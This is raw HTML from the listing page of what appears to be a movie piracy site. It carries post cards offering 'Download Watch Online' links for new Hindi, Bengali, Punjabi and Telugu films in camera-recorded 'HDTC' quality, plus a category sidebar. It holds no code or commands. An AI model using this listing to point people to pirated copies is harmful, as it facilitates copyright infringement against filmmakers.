<div class='uagb-post__text uagb-post__excerpt'> 683 <p><div id="metaslider-id-4316" style="max-width: 1200px;" class="ml-slider-3-111-2 metaslider metaslider-flex metaslider-4316 ml-slider has-dots-nav ms-theme-default-base" role="region" aria-label="Images" data-height="600" data-width="1200"> 684 <div id="metaslider_container_4316"> 685 <div id="metaslider_4316"> 686 <ul aria-live='off' class='slides'> 687 <li style="display: block; width: 100%;" class="slide-4317 ms-image " aria-roledescription="slide" data-date="2026-07-09 06:52:48" data-filename="WhatsApp-Image-2026-07-08-at-1.42.07-AM-1-1200x600.jpeg" data-slide-type="image"><img decoding="async" src="https://fridaymasti.com/wp-content/uploads/2026/07/WhatsApp-Image-2026-07-08-at-1.42.07-AM-1-1200x600.jpeg" height="600" width="1200" alt="Image slideshow" class="slider-4316 slide-4317 msDefaultImage" title="Image slideshow" /></li> 688 <li style="display: none; width: 100%;" class="slide-4319 ms-image " aria-roledescription="slide" data-date="2026-07-09 06:52:50" data-filename="WhatsApp-Image-2026-07-08-at-1.42.07-AM-1200x600.jpeg" data-slide-type="image"><img decoding="async" src="https://fridaymasti.com/wp-content/uploads/2026/07/WhatsApp-Image-2026-07-08-at-1.42.07-AM-1200x600.jpeg" height="600" width="1200" alt="Image slideshow" class="slider-4316 slide-4319 msDefaultImage" title="Image slideshow" /></li> 689 <li style="display: none; width: 100%;" class="slide-4321 ms-image " aria-roledescription="slide" data-date="2026-07-09 06:52:53" data-filename="WhatsApp-Image-2026-06-29-at-12.31.06-AM-1200x600.jpeg" data-slide-type="image"><img loading="lazy" decoding="async" src="https://fridaymasti.com/wp-content/uploads/2026/07/WhatsApp-Image-2026-06-29-at-12.31.06-AM-1200x600.jpeg" height="600" width="1200" alt="Image slideshow" class="slider-4316 slide-4321 msDefaultImage" title="Image slideshow" /></li> 690 <li style="display: none; width: 100%;" class="slide-4831 ms-image " aria-roledescription="slide" data-date="2026-07-12 05:15:32" data-filename="WhatsApp-Image-2026-07-09-at-1.12.24-PM-1-1-1200x600.jpeg" data-slide-type="image"><img loading="lazy" decoding="async" src="https://fridaymasti.com/wp-content/uploads/2026/07/WhatsApp-Image-2026-07-09-at-1.12.24-PM-1-1-1200x600.jpeg" height="600" width="1200" alt="" class="slider-4316 slide-4831 msDefaultImage" title="WhatsApp Image 2026-07-09 at 1.12.24 PM (1) (1)" /></li> 691 <li style="display: none; width: 100%;" class="slide-4833 ms-image " aria-roledescription="slide" data-date="2026-07-12 05:18:48" data-filename="WhatsApp-Image-2026-07-09-at-1.12.24-PM-3-1200x600.jpeg" data-sli
691de-type="image"><img loading="lazy" decoding="async" src="https://fridaymasti.com/wp-content/uploads/2026/07/WhatsApp-Image-2026-07-09-at-1.12.24-PM-3-1200x600.jpeg" height="600" width="1200" alt="" class="slider-4316 slide-4833 msDefaultImage" title="WhatsApp Image 2026-07-09 at 1.12.24 PM (3)" /></li> 692 </ul> 693 </div> 694 695 </div> 696</div> Rustom (2016) Hindi Movie.WEBDL ð¬ Genre: Crime, Drama, Thriller, ð£ï¸ Language: Hindi ðº Quality: WEBRip ð¥ï¸ Resolution: 720p STORY Rustom, a... </div> 697 <div class="uagb-post__text uagb-post__cta wp-block-button"> 698 <a class="wp-block-button__link uagb-text-link" style="" href="https://fridaymasti.com/rustom-2016-hindi-movie-webdl-watch-online-or-download/" target="_self" rel="bookmark noopener noreferrer">Read More</a> 699 </div> 700 701 </article> 702 <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'> 703 <a href="https://fridaymasti.com/daktra-kaku-2026-bengali-movie-download-watch-online-hq-hdtc-3/" target="_self" rel="bookmark noopener noreferrer" class='uagb-image-ratio-inherit'><img loading="lazy" decoding="async" width="683" height="1024" src="https://fridaymasti.com/wp-content/uploads/2026/09/1582-2-683x1024.jpg" class="attachment-large size-large" alt="" srcset="https://fridaymasti.com/wp-content/uploads/2026/09/1582-2-683x1024.jpg 683w, https://fridaymasti.com/wp-content/uploads/2026/09/1582-2-200x300.jpg 200w, https://fridaymasti.com/wp-content/uploads/2026/09/1582-2-768x1152.jpg 768w, https://fridaymasti.com/wp-content/uploads/2026/09/1582-2-600x900.jpg 600w, https://fridaymasti.com/wp-content/uploads/2026/09/1582-2.jpg 1024w" sizes="(max-width: 683px) 100vw, 683px" /> </a> 704 </div> 705 <h4 class="uagb-post__title uagb-post__text"> 706 <a href="https://fridaymasti.com/daktra-kaku-2026-bengali-movie-download-watch-online-hq-hdtc-3/" target="_self" rel="bookmark noopener noreferrer">Daktra Kaku (2026) Bengali Movie Download Watch Online HQ-HDTC</a> 707 </h4> 708 <div class='uagb-post__text uagb-post-grid-byline'> 709 <time datetime="" class="uagb-post__date"> 710 <span class="dashicons-calendar dashicons"></span> </time> 711 <span class="uagb-post__comment"> 712 <span class="dashicons-admin-comments dashicons"></span> No Comments </span> 713 </div> 714 <div class='uagb-post__text uagb-post__excerpt'> 715 <p><div id="metaslider-id-4316" style="max-width: 1200px;" class="ml-slider-3-111-2 metaslider metaslider-flex metaslider-4316 ml-slider has-dots-nav ms-theme-default-base" role="region" aria-label="Images" data-height="600" data-width="1200"> 716 <div id="metaslider_container_4316"> 717 <div id="metaslider_4316"> 718 <ul aria-live='off' class='slides'> 719 <li style="display: block; width: 100%;" class="slide-4317 ms-image " aria-roledescription="slide" data-date="2026-07-09 06:52:48" data-filename="WhatsApp-Image-2026-07-08-at-1.42.07-AM-1-1200x600.jpeg" data-slide-type="image"><img decoding="async" src="https://fridaymasti.com/wp-content/uploads/2026/07/WhatsApp-Image-2026-07-08-at-1.42.07-AM-1-1200x600.jpeg" height="600" width="1200" alt="Image slideshow" class="slider-4316 slide-4317 msDefaultImage" title="Image slideshow" /></li> 720 <li style="display: none; width: 100%;" class="slide-4319 ms-image " aria-roledescription="slide" data-date="2026-07-09 06:52:50" data-filename="WhatsApp-Image-2026-07-08-at-1.42.07-AM-1200x600.jpeg" data-slide-type="image"><img decoding="async" src="https://fridaymasti.com/wp-content/uploads/2026/07/WhatsApp-Image-2026-07-08-at-1.42.07-AM-1200x600.jpeg" height="600" width="1200" alt="Image slideshow" class="slider-4316 slide-4319 msDefaultImage" title="Image slideshow" /></li> 721 <li style="display: none; width: 100%;" class="slide-4321 ms-image " aria-roledescription="slide" data-date="2026-07-09 06:52:53" data-filename="WhatsApp-Image-2026-06-29-at-12.31.06-AM-1200x600.jpeg" data-slide-type="image"><img loading="lazy" decoding="async" src="https://fridaymasti.com/wp-content/uploads/2026/07/WhatsApp-Image-2026-06-29-at-12.31.06-AM-1200x600.jpeg" height="600" width="1200" alt="Image slideshow" class="slider-4316
721slide-4321 msDefaultImage" title="Image slideshow" /></li> 722 <li style="display: none; width: 100%;" class="slide-4831 ms-image " aria-roledescription="slide" data-date="2026-07-12 05:15:32" data-filename="WhatsApp-Image-2026-07-09-at-1.12.24-PM-1-1-1200x600.jpeg" data-slide-type="image"><img loading="lazy" decoding="async" src="https://fridaymasti.com/wp-content/uploads/2026/07/WhatsApp-Image-2026-07-09-at-1.12.24-PM-1-1-1200x600.jpeg" height="600" width="1200" alt="" class="slider-4316 slide-4831 msDefaultImage" title="WhatsApp Image 2026-07-09 at 1.12.24 PM (1) (1)" /></li> 723 <li style="display: none; width: 100%;" class="slide-4833 ms-image " aria-roledescription="slide" data-date="2026-07-12 05:18:48" data-filename="WhatsApp-Image-2026-07-09-at-1.12.24-PM-3-1200x600.jpeg" data-slide-type="image"><img loading="lazy" decoding="async" src="https://fridaymasti.com/wp-content/uploads/2026/07/WhatsApp-Image-2026-07-09-at-1.12.24-PM-3-1200x600.jpeg" height="600" width="1200" alt="" class="slider-4316 slide-4833 msDefaultImage" title="WhatsApp Image 2026-07-09 at 1.12.24 PM (3)" /></li> 724 </ul> 725 </div> 726 727 </div> 728</div> Daktra Kaku (2026) â IMDB: 8.6/10 ð¬ Genre: Drama || Thriller ð£ï¸ Language: Bengali ðº Quality: HQ-HDTC ð¥ï¸ Resolution: ... </div> 729 <div class="uagb-post__text uagb-post__cta wp-block-button"> 730 <a class="wp-block-button__link uagb-text-link" style="" href="https://fridaymasti.com/daktra-kaku-2026-bengali-movie-download-watch-online-hq-hdtc-3/" target="_self" rel="bookmark noopener noreferrer">Read More</a> 731 </div> 732 733 </article> 734 <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'> 735 <a href="https://fridaymasti.com/haiwaan-2026-hindi-movie-download-watch-online-v3-hdtc/" target="_self" rel="bookmark noopener noreferrer" class='uagb-image-ratio-inherit'><img loading="lazy" decoding="async" width="774" height="1024" src="https://fridaymasti.com/wp-content/uploads/2026/09/1392-2-774x1024.jpg" class="attachment-large size-large" alt="" srcset="https://fridaymasti.com/wp-content/uploads/2026/09/1392-2-774x1024.jpg 774w, https://fridaymasti.com/wp-content/uploads/2026/09/1392-2-227x300.jpg 227w, https://fridaymasti.com/wp-content/uploads/2026/09/1392-2-768x1016.jpg 768w, https://fridaymasti.com/wp-content/uploads/2026/09/1392-2-600x793.jpg 600w, https://fridaymasti.com/wp-content/uploads/2026/09/1392-2.jpg 1045w" sizes="(max-width: 774px) 100vw, 774px" /> </a> 736 </div> 737 <h4 class="uagb-post__title uagb-post__text"> 738 <a href="https://fridaymasti.com/haiwaan-2026-hindi-movie-download-watch-online-v3-hdtc/" target="_self" rel="bookmark noopener noreferrer">Haiwaan (2026) Hindi Movie Download Watch Online V3-HDTC</a> 739 </h4> 740 <div class='uagb-post__text uagb-post-grid-byline'> 741 <time datetime="" class="uagb-post__date"> 742 <span class="dashicons-calendar dashicons"></span> </time> 743 <span class="uagb-post__comment"> 744 <span class="dashicons-admin-comments dashicons"></span> No Comments </span> 745 </div> 746 <div class='uagb-post__text uagb-post__excerpt'> 747 <p><div id="metaslider-id-4316" style="max-width: 1200px;" class="ml-slider-3-111-2 metaslider metaslider-flex metaslider-4316 ml-slider has-dots-nav ms-theme-default-base" role="region" aria-label="Images" data-height="600" data-width="1200"> 748 <div id="metaslider_container_4316"> 749 <div id="metaslider_4316"> 750 <ul aria-live='off' class='slides'> 751 <li style="display: block; width: 100%;" class="slide-4317 ms-image " aria-roledescription="slide" data-date="2026-07-09 06:52:48" data-filename="WhatsApp-Image-2026-07-08-at-1.42.07-AM-1-1200x600.jpeg" data-slide-type="image"><img decoding="async" src="https://fridaymasti.com/wp-content/uploads/2026/07/WhatsApp-Image-2026-07-08-at-1.42.07-AM-1-1200x600.jpeg" height="600" width="1200" alt="Image slideshow" class="slider-4316 slide-4317 msDefaultImage" title="Image slideshow" /></li> 752 <li style="display: none; width: 100%;" class="slide-4319 ms-image " aria-roledescription="slide" data-date="2026-07-09 06:52:50" data-filename="WhatsApp-Image-2026-07-08-at-1.42.07-AM-1200x600.jpeg" data-sli
752de-type="image"><img decoding="async" src="https://fridaymasti.com/wp-content/uploads/2026/07/WhatsApp-Image-2026-07-08-at-1.42.07-AM-1200x600.jpeg" height="600" width="1200" alt="Image slideshow" class="slider-4316 slide-4319 msDefaultImage" title="Image slideshow" /></li> 753 <li style="display: none; width: 100%;" class="slide-4321 ms-image " aria-roledescription="slide" data-date="2026-07-09 06:52:53" data-filename="WhatsApp-Image-2026-06-29-at-12.31.06-AM-1200x600.jpeg" data-slide-type="image"><img loading="lazy" decoding="async" src="https://fridaymasti.com/wp-content/uploads/2026/07/WhatsApp-Image-2026-06-29-at-12.31.06-AM-1200x600.jpeg" height="600" width="1200" alt="Image slideshow" class="slider-4316 slide-4321 msDefaultImage" title="Image slideshow" /></li> 754 <li style="display: none; width: 100%;" class="slide-4831 ms-image " aria-roledescription="slide" data-date="2026-07-12 05:15:32" data-filename="WhatsApp-Image-2026-07-09-at-1.12.24-PM-1-1-1200x600.jpeg" data-slide-type="image"><img loading="lazy" decoding="async" src="https://fridaymasti.com/wp-content/uploads/2026/07/WhatsApp-Image-2026-07-09-at-1.12.24-PM-1-1-1200x600.jpeg" height="600" width="1200" alt="" class="slider-4316 slide-4831 msDefaultImage" title="WhatsApp Image 2026-07-09 at 1.12.24 PM (1) (1)" /></li> 755 <li style="display: none; width: 100%;" class="slide-4833 ms-image " aria-roledescription="slide" data-date="2026-07-12 05:18:48" data-filename="WhatsApp-Image-2026-07-09-at-1.12.24-PM-3-1200x600.jpeg" data-slide-type="image"><img loading="lazy" decoding="async" src="https://fridaymasti.com/wp-content/uploads/2026/07/WhatsApp-Image-2026-07-09-at-1.12.24-PM-3-1200x600.jpeg" height="600" width="1200" alt="" class="slider-4316 slide-4833 msDefaultImage" title="WhatsApp Image 2026-07-09 at 1.12.24 PM (3)" /></li> 756 </ul> 757 </div> 758 759 </div> 760</div> Haiwaan (2026) Release Year : 11, Sep 2026IMDB Rating : N/ALanguage : HindiVideo... </div> 761 <div class="uagb-post__text uagb-post__cta wp-block-button"> 762 <a class="wp-block-button__link uagb-text-link" style="" href="https://fridaymasti.com/haiwaan-2026-hindi-movie-download-watch-online-v3-hdtc/" target="_self" rel="bookmark noopener noreferrer">Read More</a> 763 </div> 764 765 </article> 766 <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'> 767 <a href="https://fridaymasti.com/singh-vs-kaur-2-2026-punjabi-movie-download-watch-online-hdtc/" target="_self" rel="bookmark noopener noreferrer" class='uagb-image-ratio-inherit'><img loading="lazy" decoding="async" width="856" height="1024" src="https://fridaymasti.com/wp-content/uploads/2026/09/1396-scaled-1-856x1024.jpg" class="attachment-large size-large" alt="" srcset="https://fridaymasti.com/wp-content/uploads/2026/09/1396-scaled-1-856x1024.jpg 856w, https://fridaymasti.com/wp-content/uploads/2026/09/1396-scaled-1-251x300.jpg 251w, https://fridaymasti.com/wp-content/uploads/2026/09/1396-scaled-1-768x919.jpg 768w, https://fridaymasti.com/wp-content/uploads/2026/09/1396-scaled-1-1283x1536.jpg 1283w, https://fridaymasti.com/wp-content/uploads/2026/09/1396-scaled-1-1711x2048.jpg 1711w, https://fridaymasti.com/wp-content/uploads/2026/09/1396-scaled-1-600x718.jpg 600w" sizes="(max-width: 856px) 100vw, 856px" /> </a> 768 </div> 769 <h4 class="uagb-post__title uagb-post__text"> 770 <a href="https://fridaymasti.com/singh-vs-kaur-2-2026-punjabi-movie-download-watch-online-hdtc/" target="_self" rel="bookmark noopener noreferrer">Singh vs Kaur 2 (2026) Punjabi Movie Download Watch Online HDTC</a> 771 </h4> 772 <div class='uagb-post__text uagb-post-grid-byline'> 773 <time datetime="" class="uagb-post__date"> 774 <span class="dashicons-calendar dashicons"></span> </time> 775 <span class="uagb-post__comment"> 776 <span class="dashicons-admin-comments dashicons"></span> No Comments </span> 777 </div> 778 <div class='uagb-post__text uagb-post__excerpt'> 779 <p><div id="metaslider-id-4316" style="max-width: 1200px;" class="ml-slider-3-111-2 metaslider metaslider-flex metaslider-4316 ml-slider has-dots-nav ms-theme-default-base" role="region" aria-label="Images" data-height="600" data-width="1200"> 780 <div id="metaslider_container_4316"> 781 <div id="metaslider_4316">
782 <ul aria-live='off' class='slides'> 783 <li style="display: block; width: 100%;" class="slide-4317 ms-image " aria-roledescription="slide" data-date="2026-07-09 06:52:48" data-filename="WhatsApp-Image-2026-07-08-at-1.42.07-AM-1-1200x600.jpeg" data-slide-type="image"><img decoding="async" src="https://fridaymasti.com/wp-content/uploads/2026/07/WhatsApp-Image-2026-07-08-at-1.42.07-AM-1-1200x600.jpeg" height="600" width="1200" alt="Image slideshow" class="slider-4316 slide-4317 msDefaultImage" title="Image slideshow" /></li> 784 <li style="display: none; width: 100%;" class="slide-4319 ms-image " aria-roledescription="slide" data-date="2026-07-09 06:52:50" data-filename="WhatsApp-Image-2026-07-08-at-1.42.07-AM-1200x600.jpeg" data-slide-type="image"><img decoding="async" src="https://fridaymasti.com/wp-content/uploads/2026/07/WhatsApp-Image-2026-07-08-at-1.42.07-AM-1200x600.jpeg" height="600" width="1200" alt="Image slideshow" class="slider-4316 slide-4319 msDefaultImage" title="Image slideshow" /></li> 785 <li style="display: none; width: 100%;" class="slide-4321 ms-image " aria-roledescription="slide" data-date="2026-07-09 06:52:53" data-filename="WhatsApp-Image-2026-06-29-at-12.31.06-AM-1200x600.jpeg" data-slide-type="image"><img loading="lazy" decoding="async" src="https://fridaymasti.com/wp-content/uploads/2026/07/WhatsApp-Image-2026-06-29-at-12.31.06-AM-1200x600.jpeg" height="600" width="1200" alt="Image slideshow" class="slider-4316 slide-4321 msDefaultImage" title="Image slideshow" /></li> 786 <li style="display: none; width: 100%;" class="slide-4831 ms-image " aria-roledescription="slide" data-date="2026-07-12 05:15:32" data-filename="WhatsApp-Image-2026-07-09-at-1.12.24-PM-1-1-1200x600.jpeg" data-slide-type="image"><img loading="lazy" decoding="async" src="https://fridaymasti.com/wp-content/uploads/2026/07/WhatsApp-Image-2026-07-09-at-1.12.24-PM-1-1-1200x600.jpeg" height="600" width="1200" alt="" class="slider-4316 slide-4831 msDefaultImage" title="WhatsApp Image 2026-07-09 at 1.12.24 PM (1) (1)" /></li> 787 <li style="display: none; width: 100%;" class="slide-4833 ms-image " aria-roledescription="slide" data-date="2026-07-12 05:18:48" data-filename="WhatsApp-Image-2026-07-09-at-1.12.24-PM-3-1200x600.jpeg" data-slide-type="image"><img loading="lazy" decoding="async" src="https://fridaymasti.com/wp-content/uploads/2026/07/WhatsApp-Image-2026-07-09-at-1.12.24-PM-3-1200x600.jpeg" height="600" width="1200" alt="" class="slider-4316 slide-4833 msDefaultImage" title="WhatsApp Image 2026-07-09 at 1.12.24 PM (3)" /></li> 788 </ul> 789 </div> 790 791 </div> 792</div> Singh vs Kaur 2 (2026) Release Year : 11, September 2026IMDB Rating :... </div> 793 <div class="uagb-post__text uagb-post__cta wp-block-button"> 794 <a class="wp-block-button__link uagb-text-link" style="" href="https://fridaymasti.com/singh-vs-kaur-2-2026-punjabi-movie-download-watch-online-hdtc/" target="_self" rel="bookmark noopener noreferrer">Read More</a> 795 </div> 796 797 </article> 798 <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'> 799 <a href="https://fridaymasti.com/sardar-2-2026-telugu-movie-download-watch-online-v2-hdtc/" target="_self" rel="bookmark noopener noreferrer" class='uagb-image-ratio-inherit'><img loading="lazy" decoding="async" width="443" height="693" src="https://fridaymasti.com/wp-content/uploads/2026/09/1394.jpg" class="attachment-large size-large" alt="" srcset="https://fridaymasti.com/wp-content/uploads/2026/09/1394.jpg 443w, https://fridaymasti.com/wp-content/uploads/2026/09/1394-192x300.jpg 192w" sizes="(max-width: 443px) 100vw, 443px" /> </a> 800 </div> 801 <h4 class="uagb-post__title uagb-post__text"> 802 <a href="https://fridaymasti.com/sardar-2-2026-telugu-movie-download-watch-online-v2-hdtc/" target="_self" rel="bookmark noopener noreferrer">Sardar 2 (2026) Telugu Movie Download Watch Online V2-HDTC</a> 803 </h4> 804 <div class='uagb-post__text uagb-post-grid-byline'> 805 <time datetime="" class="uagb-post__date"> 806 <span class="dashicons-calendar dashicons"></span> </time> 807 <span class="uagb-post__comment"> 808 <span class="dashicons-admin-comments dashicons"></span> No Comments </span> 809 </div> 810 <div class='uagb-post__text uagb-post__excerpt'> 811 <p><div id="metaslider-id-4316" style="max-width: 1200px;" class="ml-slider-3-111-2 metaslider metaslider-flex metaslider-4316 ml-slider has-dots-nav ms-theme-default-base" role="region" aria-label="Images" data-height="600" data-width="1200"> 812 <div id="metaslider_container_4316"> 813 <div id="metaslider_4316">
814 <ul aria-live='off' class='slides'> 815 <li style="display: block; width: 100%;" class="slide-4317 ms-image " aria-roledescription="slide" data-date="2026-07-09 06:52:48" data-filename="WhatsApp-Image-2026-07-08-at-1.42.07-AM-1-1200x600.jpeg" data-slide-type="image"><img decoding="async" src="https://fridaymasti.com/wp-content/uploads/2026/07/WhatsApp-Image-2026-07-08-at-1.42.07-AM-1-1200x600.jpeg" height="600" width="1200" alt="Image slideshow" class="slider-4316 slide-4317 msDefaultImage" title="Image slideshow" /></li> 816 <li style="display: none; width: 100%;" class="slide-4319 ms-image " aria-roledescription="slide" data-date="2026-07-09 06:52:50" data-filename="WhatsApp-Image-2026-07-08-at-1.42.07-AM-1200x600.jpeg" data-slide-type="image"><img decoding="async" src="https://fridaymasti.com/wp-content/uploads/2026/07/WhatsApp-Image-2026-07-08-at-1.42.07-AM-1200x600.jpeg" height="600" width="1200" alt="Image slideshow" class="slider-4316 slide-4319 msDefaultImage" title="Image slideshow" /></li> 817 <li style="display: none; width: 100%;" class="slide-4321 ms-image " aria-roledescription="slide" data-date="2026-07-09 06:52:53" data-filename="WhatsApp-Image-2026-06-29-at-12.31.06-AM-1200x600.jpeg" data-slide-type="image"><img loading="lazy" decoding="async" src="https://fridaymasti.com/wp-content/uploads/2026/07/WhatsApp-Image-2026-06-29-at-12.31.06-AM-1200x600.jpeg" height="600" width="1200" alt="Image slideshow" class="slider-4316 slide-4321 msDefaultImage" title="Image slideshow" /></li> 818 <li style="display: none; width: 100%;" class="slide-4831 ms-image " aria-roledescription="slide" data-date="2026-07-12 05:15:32" data-filename="WhatsApp-Image-2026-07-09-at-1.12.24-PM-1-1-1200x600.jpeg" data-slide-type="image"><img loading="lazy" decoding="async" src="https://fridaymasti.com/wp-content/uploads/2026/07/WhatsApp-Image-2026-07-09-at-1.12.24-PM-1-1-1200x600.jpeg" height="600" width="1200" alt="" class="slider-4316 slide-4831 msDefaultImage" title="WhatsApp Image 2026-07-09 at 1.12.24 PM (1) (1)" /></li> 819 <li style="display: none; width: 100%;" class="slide-4833 ms-image " aria-roledescription="slide" data-date="2026-07-12 05:18:48" data-filename="WhatsApp-Image-2026-07-09-at-1.12.24-PM-3-1200x600.jpeg" data-slide-type="image"><img loading="lazy" decoding="async" src="https://fridaymasti.com/wp-content/uploads/2026/07/WhatsApp-Image-2026-07-09-at-1.12.24-PM-3-1200x600.jpeg" height="600" width="1200" alt="" class="slider-4316 slide-4833 msDefaultImage" title="WhatsApp Image 2026-07-09 at 1.12.24 PM (3)" /></li> 820 </ul> 821 </div> 822 823 </div> 824</div> Sardar 2 (2026) Release Year : 10, Sep 2026IMDB Rating : N/ALanguage :... </div> 825 <div class="uagb-post__text uagb-post__cta wp-block-button"> 826 <a class="wp-block-button__link uagb-text-link" style="" href="https://fridaymasti.com/sardar-2-2026-telugu-movie-download-watch-online-v2-hdtc/" target="_self" rel="bookmark noopener noreferrer">Read More</a> 827 </div> 828 829 </article> 830 <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'> 831 <a href="https://fridaymasti.com/maya-satya-bhram-2026-bengali-movie-download-watch-online-hdtc-hq/" target="_self" rel="bookmark noopener noreferrer" class='uagb-image-ratio-inherit'><img loading="lazy" decoding="async" width="500" height="712" src="https://fridaymasti.com/wp-content/uploads/2026/09/1151.jpg" class="attachment-large size-large" alt="" srcset="https://fridaymasti.com/wp-content/uploads/2026/09/1151.jpg 500w, https://fridaymasti.com/wp-content/uploads/2026/09/1151-211x300.jpg 211w" sizes="(max-width: 500px) 100v
831w, 500px" /> </a> 832 </div> 833 <h4 class="uagb-post__title uagb-post__text"> 834 <a href="https://fridaymasti.com/maya-satya-bhram-2026-bengali-movie-download-watch-online-hdtc-hq/" target="_self" rel="bookmark noopener noreferrer">Maya Satya Bhram (2026) Bengali Movie Download Watch Online HDTC-HQ</a> 835 </h4> 836 <div class='uagb-post__text uagb-post-grid-byline'> 837 <time datetime="" class="uagb-post__date"> 838 <span class="dashicons-calendar dashicons"></span> </time> 839 <span class="uagb-post__comment"> 840 <span class="dashicons-admin-comments dashicons"></span> No Comments </span> 841 </div> 842 <div class='uagb-post__text uagb-post__excerpt'> 843 <p><div id="metaslider-id-4316" style="max-width: 1200px;" class="ml-slider-3-111-2 metaslider metaslider-flex metaslider-4316 ml-slider has-dots-nav ms-theme-default-base" role="region" aria-label="Images" data-height="600" data-width="1200"> 844 <div id="metaslider_container_4316"> 845 <div id="metaslider_4316"> 846 <ul aria-live='off' class='slides'> 847 <li style="display: block; width: 100%;" class="slide-4317 ms-image " aria-roledescription="slide" data-date="2026-07-09 06:52:48" data-filename="WhatsApp-Image-2026-07-08-at-1.42.07-AM-1-1200x600.jpeg" data-slide-type="image"><img decoding="async" src="https://fridaymasti.com/wp-content/uploads/2026/07/WhatsApp-Image-2026-07-08-at-1.42.07-AM-1-1200x600.jpeg" height="600" width="1200" alt="Image slideshow" class="slider-4316 slide-4317 msDefaultImage" title="Image slideshow" /></li> 848 <li style="display: none; width: 100%;" class="slide-4319 ms-image " aria-roledescription="slide" data-date="2026-07-09 06:52:50" data-filename="WhatsApp-Image-2026-07-08-at-1.42.07-AM-1200x600.jpeg" data-slide-type="image"><img decoding="async" src="https://fridaymasti.com/wp-content/uploads/2026/07/WhatsApp-Image-2026-07-08-at-1.42.07-AM-1200x600.jpeg" height="600" width="1200" alt="Image slideshow" class="slider-4316 slide-4319 msDefaultImage" title="Image slideshow" /></li> 849 <li style="display: none; width: 100%;" class="slide-4321 ms-image " aria-roledescription="slide" data-date="2026-07-09 06:52:53" data-filename="WhatsApp-Image-2026-06-29-at-12.31.06-AM-1200x600.jpeg" data-slide-type="image"><img loading="lazy" decoding="async" src="https://fridaymasti.com/wp-content/uploads/2026/07/WhatsApp-Image-2026-06-29-at-12.31.06-AM-1200x600.jpeg" height="600" width="1200" alt="Image slideshow" class="slider-4316 slide-4321 msDefaultImage" title="Image slideshow" /></li> 850 <li style="display: none; width: 100%;" class="slide-4831 ms-image " aria-roledescription="slide" data-date="2026-07-12 05:15:32" data-filename="WhatsApp-Image-2026-07-09-at-1.12.24-PM-1-1-1200x600.jpeg" data-slide-type="image"><img loading="lazy" decoding="async" src="https://fridaymasti.com/wp-content/uploads/2026/07/WhatsApp-Image-2026-07-09-at-1.12.24-PM-1-1-1200x600.jpeg" height="600" width="1200" alt="" class="slider-4316 slide-4831 msDefaultImage" title="WhatsApp Image 2026-07-09 at 1.12.24 PM (1) (1)" /></li> 851 <li style="display: none; width: 100%;" class="slide-4833 ms-image " aria-roledescription="slide" data-date="2026-07-12 05:18:48" data-filename="WhatsApp-Image-2026-07-09-at-1.12.24-PM-3-1200x600.jpeg" data-slide-type="image"><img loading="lazy" decoding="async" src="https://fridaymasti.com/wp-content/uploads/2026/07/WhatsApp-Image-2026-07-09-at-1.12.24-PM-3-1200x600.jpeg" height="600" width="1200" alt="" class="slider-4316 slide-4833 msDefaultImage" title="WhatsApp Image 2026-07-09 at 1.12.24 PM (3)" /></li> 852 </ul> 853 </div> 854 855 </div> 856</div> Maya Satya Bhram (2026) Release Year: 28, Aug 2026IMDB Rating : N/ALanguage :... </div> 857 <div class="uagb-post__text uagb-post__cta wp-block-button"> 858 <a class="wp-block-button__link uagb-text-link" style="" href="https://fridaymasti.com/maya-satya-bhram-2026-bengali-movie-download-watch-online-hdtc-hq/" target="_self" rel="bookmark noopener noreferrer">Read More</a> 859 </div> 860 861 </article> 862 <div class="uagb-post-pagination-wrap"> 863 <span class="page-numbers current">1</span> 864<a class="page-numbers" href="https://fridaymasti.com/blog/page/2/">2</a> 865<a class="page-numbers" href="https://fridaymasti.com/blog/page/3/">3</a> 866<a class="page-numbers" href="https://fridaymasti.com/blog/page/4/">4</a> 867<a class="page-numbers" href="https://fridaymasti.com/blog/page/5/">5</a> 868<span class="page-numbers dots">…</span> 869<a class="page-numbers" href="https://fridaymasti.com/blog/page/7/">7</a> 870<a class="page-numbers" href="https://fridaymasti.com/blog/page/8/">8</a> 871<a class="page-numbers" href="https://fridaymasti.com/blog/page/9/">9</a> 872<a class="page-numbers" href="https://fridaymasti.com/blog/page/10/">10</a> 873<a class="next page-numbers" href="https://fridaymasti.com/blog/page/2/">Next »</a> </div> 874 </div> 875 </div></div> 876</div><div id="block-10" class="widget widget_block widget_search"><form role="search" method="get" action="https://fridaymasti.com/" class="wp-block-search__button-outside wp-block-search__icon-button wp-block-search" ><label class="wp-block-search__label screen-reader-text" for="wp-block-search__input-2" >Search</label><div class="wp-block-search__inside-wrapper" ><input class="wp-block-search__input" id="wp-block-search__input-2" placeholder="" value="" type="search" name="s" required /><button aria-label="Search" class="wp-block-search__button has-icon wp-element-button" type="submit" >
876<svg class="search-icon" viewBox="0 0 24 24" width="24" height="24"> 877 <path d="M13 5c-3.3 0-6 2.7-6 6 0 1.4.5 2.7 1.3 3.7l-3.8 3.8 1.1 1.1 3.8-3.8c1 .8 2.3 1.3 3.7 1.3 3.3 0 6-2.7 6-6S16.3 5 13 5zm0 10.5c-2.5 0-4.5-2-4.5-4.5s2-4.5 4.5-4.5 4.5 2 4.5 4.5-2 4.5-4.5 4.5z"></path> 878 </svg></button></div></form></div><div id="block-11" class="widget widget_block"> 879<div class="wp-block-group"><div class="wp-block-group__inner-container is-layout-constrained wp-block-group-is-layout-constrained"> 880<h5 class="wp-block-heading">Categories</h5> 881 882 883<ul class="wp-block-categories-list wp-block-categories-taxonomy-category wp-block-categories"> <li class="cat-item cat-item-123"><a href="https://fridaymasti.com/category/adults-18/">Adults 18+</a> 884</li> 885 <li class="cat-item cat-item-84"><a href="https://fridaymasti.com/category/bangla-dubbing/">Bangla Dubbed</a> 886</li> 887 <li class="cat-item cat-item-82"><a href="https://fridaymasti.com/category/bengali-movies/">Bengali Movies</a> 888</li> 889 <li class="cat-item cat-item-104"><a href="https://fridaymasti.com/category/bengali-reality-shows/">Bengali Reality Shows</a> 890</li> 891 <li class="cat-item cat-item-83"><a href="https://fridaymasti.com/category/bengla-drama/">Bengla Drama / Natok</a> 892</li> 893 <li class="cat-item cat-item-81"><a href="https://fridaymasti.com/category/bengladesh-movies/">Bengladesh Movies</a> 894</li> 895 <li class="cat-item cat-item-132"><a href="https://fridaymasti.com/category/binge/">Binge</a> 896</li> 897 <li class="cat-item cat-item-131"><a href="https://fridaymasti.com/category/bongo-bd/">Bongo BD</a> 898</li> 899 <li class="cat-item 